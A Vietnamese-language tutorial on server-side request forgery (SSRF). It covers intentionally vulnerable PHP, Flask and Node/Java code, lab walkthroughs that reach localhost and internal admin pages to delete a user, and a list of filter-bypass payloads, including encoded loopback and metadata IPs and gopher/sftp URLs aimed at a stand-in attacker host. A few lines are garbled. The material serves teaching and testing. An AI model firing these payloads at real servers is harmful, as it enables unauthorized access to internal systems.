“Mọi kiến thức trong bài viết chỉ phục vụ mục đích giáo dục và an toàn thông tin.
Không được sử dụng để tấn công hệ thống mà bạn không sở hữu hoặc không được phép kiểm thử.”
I. SSRF là gì?
SSRF là lỗ hổng bảo mật web cho phép kẻ tấn công lợi dụng một máy chủ (bị điểm yếu SSRF) thực hiện một yêu cầu (request) tới một vị trí không mong muốn (thường là các dịch vụ nội bộ mà ứng dụng không nên truy cập được, như cơ sở dữ liệu nội bộ, hệ thống quản lý nội bộ hoặc các hệ thống khác trong mạng nội bộ. Điều này có thể dẫn đến việc đánh cắp dữ liệu nhạy cảm, kiểm soát hệ thống hoặc tiềm ẩn các cuộc tấn công khác vào hạ tầng nội bộ của tổ chức).
Ví dụ điển hình:
- Kẻ tấn công trigger lỗ hổng này để máy chủ tạo kết nối với các dịch vụ chỉ dành cho nội bộ: localhost,…
- Tương tự, kết nối tới các hệ thống ngang hàng.
- Tương tự, kẻ tấn công lấy được dữ liệu nhạy cảm mà không cần thông qua xác thực.
II. Case tấn công SSRF phổ biến
Ok vậy ta đã biết sơ sơ của tấn công này, hãy đi sâu vào các ví dụ điển hình trên. Tấn công SSRF vào máy chủ local: Sau đây là case tấn công SSRF cho phép attacker trigger cho ứng dụng (hoặc backend ứng dụng) thực hiện request HTTP quay lại máy chủ cục bộ (localhost), thông qua giao diện mạng loopack của nó. Sau đây là một ứng dụng mua sắm cho phép người dùng xem liệu một mặt hàng có còn bán ở một cửa hàng cụ thể hay không. Request bình thường như sau:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
Máy chủ sẽ dựa vào request này và đưa ra yêu cầu tới URL được chỉ định, truy cập trạng thái tại đó và trả lại trạng thái này cho người dùng. Kẻ tấn công có thể sửa đổi lại request này như sau:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
Từ đây máy chủ sẽ tìm nạp nội dung của /admin và trả lại cho người dùng. Tại sao ứng dụng lại hoạt động theo cách như này ? Lý do là:
- Việc kiểm soát truy cập được triển khai trong một thành phần khác . Khi request tới máy chủ, việc kiểm soát truy cập bị loại bỏ.
- Dự phòng cho trường hợp cần khôi phục hệ thống
III. Các chức năng thường có lỗ hổng SSRF
Một số chức năng thường tồn tại lỗ hổng này thường là:
- Chức năng yêu cầu (request) tài nguyên từ máy chủ từ xa (remote servers) (Upload from URL, Import và Export).
- Các hàm tích hợp Cơ sở dữ liệu (Oracle, MongoDB, MSSQL, Postgres) => Ví dụ cho phép người dùng tùy ý nhập thông database cần kết nối tới.
- Webmail (POP3, IMAP, SMTP) => Cho phép người dùng nhập tài khoản POP3, IMAP, SMTP.
Tiếp là một số hàm thường dẫn tới lỗ hổng SSRF, đầu tiên đối với:
Ngôn ngữ PHP
Hàm file_get_contents()
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
Đoạn code này in ra nội dung của trang web thông qua tham số url được truyền vào bởi người dùng. Kẻ tấn công có thể truyền vào path để đọc tệp như /etc/passwd hoặc đọc nội dung của một port đang khác đang mở trên server. Ngoài ra trong php còn các hàm khác như:
fscokopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
curl_exec()
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
Python
from flask import *
import requests
app = Flask(__name__)
@app.route('/ssrf')
def follow_url():
url = request.args.get('url', '')
if url:
return (requests.get(url).text)
return "no url parameter provided"
if __name__ == '__main__':
app.run(host = "0.0.0.0", port = 9999)
Node.js
Node.js dành cho Windows coi bất kỳ chữ cái nào trong lược đồ URL drive://filepath và đặt giao thức thành file://
// Node.js (Windows only)
// the following row will return `file:`
new URL('l://file').protocol
Java
URL của Java sẽ xử lý chính xác các URL tiếp theo:
url:file:///etc/passwd
url:http://127.0.0.1:8080
IV. Lab thực hành
4.1. Khai thác lỗ hổng SSRF truy cập local server
Cho một bài lab, để giải quyết bài lab chúng ta cần khai thác lỗ hổng SSRF và xóa người dùng carlos. Trang web có chức năng kiểm tra số lượng hàng tồn kho. Xem qua request và response của chức năng này:
Tham số stockApi truyền bằng phương thức POST tới backend một giá trị URL http://stock.weliketoshop.net:8080/product/stock/check?productId=2&storeId=1 .
Sau khi kiểm tra thì có vẻ như địa chỉ này chỉ có thể truy cập từ local server. Ta có thể dự đoán được ở đây có chứa lỗ hổng SSRF, thử truyền vào đó một domain của burp colab. Burp colab nhận được phản hồi.
Bây giờ sửa url thành http://localhost/admin để truy cập trang web này. ta đã có thể xem được nội dung của trang web http://localhost/admin. Cuối cùng gửi request với stockApi=http://localhost/admin/delete?username=carlos để xóa người dùng carlos.
Bài lab hoàn thành
4.2. Lỗ hổng SSRF truy cập hệ thống backend khác
Tương tự là tính năng kiểm tra hàng tồn kho. Để giải quyết bài lab, cần sử dụng chức năng kiểm tra hàng tồn kho để quét 192.168.0.x trong nội bộ để tìm giao diện quản trị viên trên cổng 8080, sau đó tiếp tục xóa người dùng carlos
- Tương tự bắt requets.
- Từ requets gốc này, tiếp tục sửa để thực hiện các thao thác khác.
- Kiểm tra lỗ hổng SSRF bằng kỹ thuật DNS lookup thành công.
- Gửi requets tới Intruder và fuzz tìm ra IP chính xác
- IP chính xác là:
192.168.0.96
- Gửi request xóa người dùng thôi.
stockApi=http://192.168.0.96:8080/admin/delete?username=carlos
=>Hoàn thành lab
4.3. SSRF bypass blacklist input filters
Cho bài lab python:
from flask import *
import requests
app = Flask(__name__)
@app.route('/ssrf')
def follow_url():
url = request.args.get('url', '')
blacklist = ['127.0.0.1', 'localhost']
for check in blacklist:
if check in urk:
return "Attack SSRF detected!"
return (requests.get(url).text)
if __name__ == '__main__':
app.run(host = "0.0.0.0", port = 9999)
giải sử khi, 127.0.0.1 và localhost bị ngăn chặn thì phải làm gì?
Một số kỹ thuật bypass như sau:
- Bypass với domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
- bypass với decimal IP location
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
- Bypass với rare address
http://0/
http://127.1
http://127.0.1
Hệ thống cũng có thể ngăn chặn các từ khóa đặc biệt: ví dụ admin
- Bypass bằng URL Encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
- Bypass bằng ký tự đặc biệt
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
// các ký tự đặc biệt:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
Các định dạng địa chỉ IP hiếm xác định trong RFC 3986:
Dotted hexadecimal IP: 0x7f.0x0.0x0.0x1
Dotless hexadecimal IP: 0x7f001
Dotless hexadecimal IP with padding: 0x0a0b0c0d7f000001 (padding is 0a0b0c0d)
Dotless decimal IP: 2130706433
Dotted decimal IP with overflow (256): 383.256.256.257
Dotted octal IP: 0177.0.0.01
Dotless octal IP: 017700000001
Dotted octal IP with padding: 00177.000.0000.000001
Có thể rúi ngắn các địa chỉ IP bằng cách bỏ số 0:
1 part (ping A) : 0.0.0.A
2 parts (ping A.B) : A.0.0.B
3 parts (ping A.B.C) : A.B.0.C
4 parts (ping A.B.C.D) : A.B.C.D
0 => 0.0.0.0
127.1 => 127.0.0.1
127.0.1 => 127.0.0.1
Tham khảo: PayloadAllofThings: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery
- Sử dụng các “Lược đồ URL” (URL scheme)
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
- Xử lý phía máy chủ của HTML và JS tùy ý
Việc xử lý phía máy chủ đối với dữ liệu HTML và JS tùy ý từ người dùng thường tìm thấy trong khi tạo các document như chuyển tệp pdf. Nếu chức năng này dễ bị tấn công bằng HTML hoặc XSS, ta có thể truy cập tài nguyên nội bộ:
')">
Lab 2: Bypass blacklist
Tương tự là chức năng kiểm tra hàng tồn kho nhưng lần này có một số biện pháp chống SSRF yếu. Để giải quyết lab tiếp tục cần phải vào được trang quản trị admin và xóa người dùng carlos.
- Kiểm tra lỗ hổng bằng DNS lookup thành công.
- Tuy nhiên lần này sử dung
127.0.0.1vàlocalhostđều bị chặn
- Ta có thể bypass bằng cách sử dụng
http://127.1hoặchttp://127.0.1
- Tuy nhiên truy cập
/adminthì bị chặn
- Bypass bằng cách viết hoa ký tự . ví dụ
admin->Adminhoặc url encode 2 lần
=> Cuối cùng, sau khi đã bypass được hết ta thực hiện xóa người dùng stockApi=http://127.0.1/Admin/delete?username=carlos
V. Ngăn ngừa lỗ hổng SSRF
- Kiểm tra và lọc URL đầu vào
- Hạn chến quyền truy cập
- Sử dụng WAF
- Mã hóa thông tin quan trọng